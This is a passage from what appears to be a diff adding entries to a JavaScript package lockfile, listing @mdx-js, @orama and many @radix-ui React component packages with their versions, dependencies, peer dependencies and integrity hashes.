"sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="], + + "@mdx-js/mdx": ["@mdx-js/mdx@3.1.1", "", { "dependencies": { "@types/estree": "^1.0.0", "@types/estree-jsx": "^1.0.0", "@types/hast": "^3.0.0", "@types/mdx": "^2.0.0", "acorn": "^8.0.0", "collapse-white-space": "^2.0.0", "devlop": "^1.0.0", "estree-util-is-identifier-name": "^3.0.0", "estree-util-scope": "^1.0.0", "estree-walker": "^3.0.0", "hast-util-to-jsx-runtime": "^2.0.0", "markdown-extensions": "^2.0.0", "recma-build-jsx": "^1.0.0", "recma-jsx": "^1.0.0", "recma-stringify": "^1.0.0", "rehype-recma": "^1.0.0", "remark-mdx": "^3.0.0", "remark-parse": "^11.0.0", "remark-rehype": "^11.0.0", "source-map": "^0.7.0", "unified": "^11.0.0", "unist-util-position-from-estree": "^2.0.0", "unist-util-stringify-position": "^4.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.0" } }, "sha512-f6ZO2ifpwAQIpzGWaBQT2TXxPv6z3RBzQKpVftEWN78Vl/YweF1uwussDx8ECAXVtr3Rs89fKyG9YlzUs9DyGQ=="], + + "@mjackson/node-fetch-server": ["@mjackson/node-fetch-server@0.2.0", "", {}, "sha512-EMlH1e30yzmTpGLQjlFmaDAjyOeZhng1/XCd7DExR8PNAnG/G1tyruZxEoUe11ClnwGhGrtsdnyyUx1frSzjng=="], + + "@orama/orama": ["@orama/orama@3.1.16", "", {}, "sha512-scSmQBD8eANlMUOglxHrN1JdSW8tDghsPuS83otqealBiIeMukCQMOf/wc0JJjDXomqwNdEQFLXLGHrU6PGxuA=="], + + "@orama/stopwords": ["@orama/stopwords@3.1.16", "", {}, "sha512-vARYnaXUQ/OO11Lvdpz0Vn56ayJV/NZUvw/A/bRzdrmQ19jc5lftHBgHPFxmnzc5GKD3O4ENf3burV5iezqhiQ=="], + + "@orama/tokenizers": ["@orama/tokenizers@3.1.16", "", { "dependencies": { "@orama/orama": "3.1.16" } }, "sha512-QLYWlcFNs3G2ikJJewxSsC/JSz3Ltz5uZED1yAubhMg5Vk3jG/3P4UkDYt5SzuimkQYwYnHXVGlw93ZzsP+M0w=="], + + "@radix-ui/number": ["@radix-ui/number@1.1.1", "", {}, "sha512-MkKCwxlXTgz6CFoJx3pCwn07GKp36+aZyu/u2Ln2VrA5DcdyCZkASEDBTd8x5whTQQL5CiYf4prXKLcgQdv29g=="], + + "@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="], + + "@radix-ui/react-accessible-icon": ["@radix-ui/react-accessible-icon@1.1.7", "", { "dependencies": { "@radix-ui/react-visually-hidden": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-XM+E4WXl0OqUJFovy6GjmxxFyx9opfCAIUku4dlKRd5YEPqt4kALOkQOp0Of6reHuUkJuiPBEc5k0o4z4lTC8A=="], + + "@radix-ui/react-accordion": ["@radix-ui/react-accordion@1.2.12", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collapsible": "1.1.12", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-T4nygeh9YE9dLRPhAHSeOZi7HBXo+0kYIPJXayZfvWOWA0+n3dESrZbjfDPUABkUNym6Hd+f2IR113To8D2GPA=="], + + "@radix-ui/react-alert-dialog": ["@radix-ui/react-alert-dialog@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dialog": "1.1.15", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-oTVLkEw5GpdRe29BqJ0LSDFWI3qu0vR1M0mUkOQWDIUnY/QIkLpgDMWuKxP94c2NAC2LGcgVhG1ImF3jkZ5wXw=="], + + "@radix-ui/react-arrow": ["@radix-ui/react-arrow@1.1.7", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w=="], + + "@radix-ui/react-aspect-ratio": ["@radix-ui/react-aspect-ratio@1.1.7", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Yq6lvO9HQyPwev1onK1daHCHqXVLzPhSVjmsNjCa2Zcxy2f7uJD2itDtxknv6FzAKCwD1qQkeVDmX/cev13n/g=="], + + "@radix-ui/react-avatar": ["@radix-ui/react-avatar@1.1.10", "", { "dependencies": { "@radix-ui/react-context": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-is-hydrated": "0.1.0", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-V8piFfWapM5OmNCXTzVQY+E1rDa53zY+MQ4Y7356v4fFz6vqCyUtIz2rUD44ZEdwg78/jKmMJHj07+C/Z/rcog=="], + + "@radix-ui/react-checkbox": ["@radix-ui/react-checkbox@1.3.3", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-previous": "1.1.1", "@radix-ui/react-use-size": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wBbpv+NQftHDdG86Qc0pIyXk5IR3tM8Vd0nWLKDcX8nNn4nXFOFwsKuqw2okA/1D/mpaAkmuyndrPJTYDNZtFw=="], + + "@radix-ui/react-collapsible": ["@radix-ui/react-collapsible@1.1.12", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Uu+mSh4agx2ib1uIGPP4/CKNULyajb3p92LsVXmH2EHVMTfZWpll88XJ0j4W0z3f8NK1eYl1+Mf/szHPmcHzyA=="], + + "@radix-ui/react-collection": ["@radix-ui/react-collection@1.1.7", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw=="], + + "@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg=="], + + "@radix-ui/react-context": ["@radix-ui/react-context@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA=="], + + "@radix-ui/react-context-menu": ["@radix-ui/react-context-menu@2.2.16", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-menu": "2.1.16", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-O8morBEW+HsVG28gYDZPTrT9UUovQUlJue5YO836tiTJhuIWBm/zQHc7j388sHWtdH/xUZurK9olD2+pcqx5ww=="], + + "@radix-ui/react-dialog": ["@radix-ui/react-dialog@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-focus-guards": "1.1.3", "@radix-ui/react-focus-scope": "1.1.7", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3", "@radix-ui/react-use-controllable-state": "1.2.2", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.6.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw=="], + + "@radix-ui/react-direction": ["@radix-ui/react-direction@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw=="], + + "@radix-ui/react-dismissable-layer": ["@radix-ui/react-dismissable-layer@1.1.11", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-escape-keydown": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg=="], + + "@radix-ui/react-dropdown-menu": ["@radix-ui/react-dropdown-menu@2.1.16", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-menu": "2.1.16", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-1PLGQEynI/3OX/ftV54COn+3Sud/Mn8vALg2rWnBLnRaGtJDduNW/22XjlGgPdpcIbiQxjKtb7BkcjP00nqfJw=="], + + "@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw=="], + + "@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.1.7", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw=="], + + "@radix-ui/react-form": ["@radix-ui/react-form@0.1.8", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-label": "2.1.7", "@radix-ui/react-primitive": "2.1.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-QM70k4Zwjttifr5a4sZFts9fn8FzHYvQ5PiB19O2HsYibaHSVt9fH9rzB0XZo/YcM+b7t/p7lYCT/F5eOeF5yQ=="], + + "@radix-ui/react-hover-card": ["@radix-ui/react-hover-card@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-popper": "1.2.8", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-qgTkjNT1CfKMoP0rcasmlH2r1DAiYicWsDsufxl940sT2wHNEWWv6FMWIQXWhVdmC1d/HYfbhQx60KYyAtKxjg=="], + + "@radix-ui/react-id": ["@radix-ui/react-id@1.1.1", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg=="], + + "@radix-ui/react-label": ["@radix-ui/react-label@2.1.7", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-YT1GqPSL8kJn20djelMX7/cTRp/Y9w5IZHvfxQTVHrOqa2yMl7i/UfMqKRU5V7mEyKTrUVgJXhNQPVCG8PBLoQ=="], + + "@radix-ui/react-menu": ["@radix-ui/react-menu@2.1.16", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-focus-guards": "1.1.3", "@radix-ui/react-focus-scope": "1.1.7", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-popper": "1.2.8", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-roving-focus": "1.1.11", "@radix-ui/react-slot": "1.2.3", "@radix-ui/react-use-callback-ref": "1.1.1", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.6.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-72F2T+PLlphrqLcAotYPp0uJMr5SjP5SL01wfEspJbru5Zs5vQaSHb4VB3ZMJPimgHHCHG7gMOeOB9H3Hdmtxg=="], + + "@radix-ui/react-menubar": ["@radix-ui/react-menubar@1.1.16", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-menu": "2.1.16", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-roving-focus": "1.1.11", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-EB1FktTz5xRRi2Er974AUQZWg2yVBb1yjip38/lgwtCVRd3a+maUoGHN/xs9Yv8SY8QwbSEb+YrxGadVWbEutA=="], + + "@radix-ui/react-navigation-menu": ["@radix-ui/react-navigation-menu@1.2.14", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-layout-effect": "1.1.1", "@radix-ui/react-use-previous": "1.1.1", "@radix-ui/react-visually-hidden": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-YB9mTFQvCOAQMHU+C/jVl96WmuWeltyUEpRJJky51huhds5W2FQr1J8D/16sQlf0ozxkPK8uF3niQMdUwZPv5w=="], + + "@radix-ui/react-one-time-password-field": ["@radix-ui/react-one-time-password-field@0.1.8", "", { "dependencies": { "@radix-ui/number": "1.1.1", "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-roving-focus": "1.1.11", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-effect-event": "0.0.2", "@radix-ui/react-use-is-hydrated": "0.1.0", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-ycS4rbwURavDPVjCb5iS3aG4lURFDILi6sKI/WITUMZ13gMmn/xGjpLoqBAalhJaDk8I3UbCM5GzKHrnzwHbvg=="], + + "@radix-ui/react-password-toggle-field": ["@radix-ui/react-password-toggle-field@0.1.3", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-effect-event": "0.0.2", "@radix-ui/react-use-is-hydrated": "0.1.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-/UuCrDBWravcaMix4TdT+qlNdVwOM1Nck9kWx/vafXsdfj1ChfhOdfi3cy9SGBpWgTXwYCuboT/oYpJy3clqfw=="], + + "@radix-ui/react-popover": ["@radix-ui/react-popover@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-focus-guards": "1.1.3", "@radix-ui/react-focus-scope": "1.1.7", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-popper": "1.2.8", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3", "@radix-ui/react-use-controllable-state": "1.2.2", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.6.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-kr0X2+6Yy/vJzLYJUPCZEc8SfQcf+1COFoAqauJm74umQhta9M7lNJHP7QQS3vkvcGLQUbWpMzwrXYwrYztHKA=="], + + "@radix-ui/react-popper": ["@radix-ui/react-popper@1.2.8", "", { "dependencies": { "@floating-ui/react-dom": "^2.0.0", "@radix-ui/react-arrow": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-layout-effect": "1.1.1", "@radix-ui/react-use-rect": "1.1.1", "@radix-ui/react-use-size": "1.1.1", "@radix-ui/rect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-0NJQ4LFFUuWkE7Oxf0htBKS6zLkkjBH+hM1uk7Ng705ReR8m/uelduy1DBo0PyBXPKVnBA6YBlU94MBGXrSBCw=="], + + "@radix-ui/react-portal": ["@radix-ui/react-portal@1.1.9", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ=="], + + "@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.5", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ=="], + + "@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.3", "", { "dependencies": { "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ=="], + + "@radix-ui/react-progress": ["@radix-ui/react-progress@1.1.7", "", { "dependencies": { "@radix-ui/react-context": "1.1.2", "@radix-ui/react-primitive": "2.1.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-vPdg/tF6YC/ynuBIJlk1mm7Le0VgW6ub6J2UWnTQ7/D23KXcPI1qy+0vBkgKgd38RCMJavBXpB83HPNFMTb0Fg=="], + + "@radix-ui/react-radio-group": ["@radix-ui/react-radio-group@1.3.8", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-roving-focus": "1.1.11", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-previous": "1.1.1", "@radix-ui/react-use-size": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, 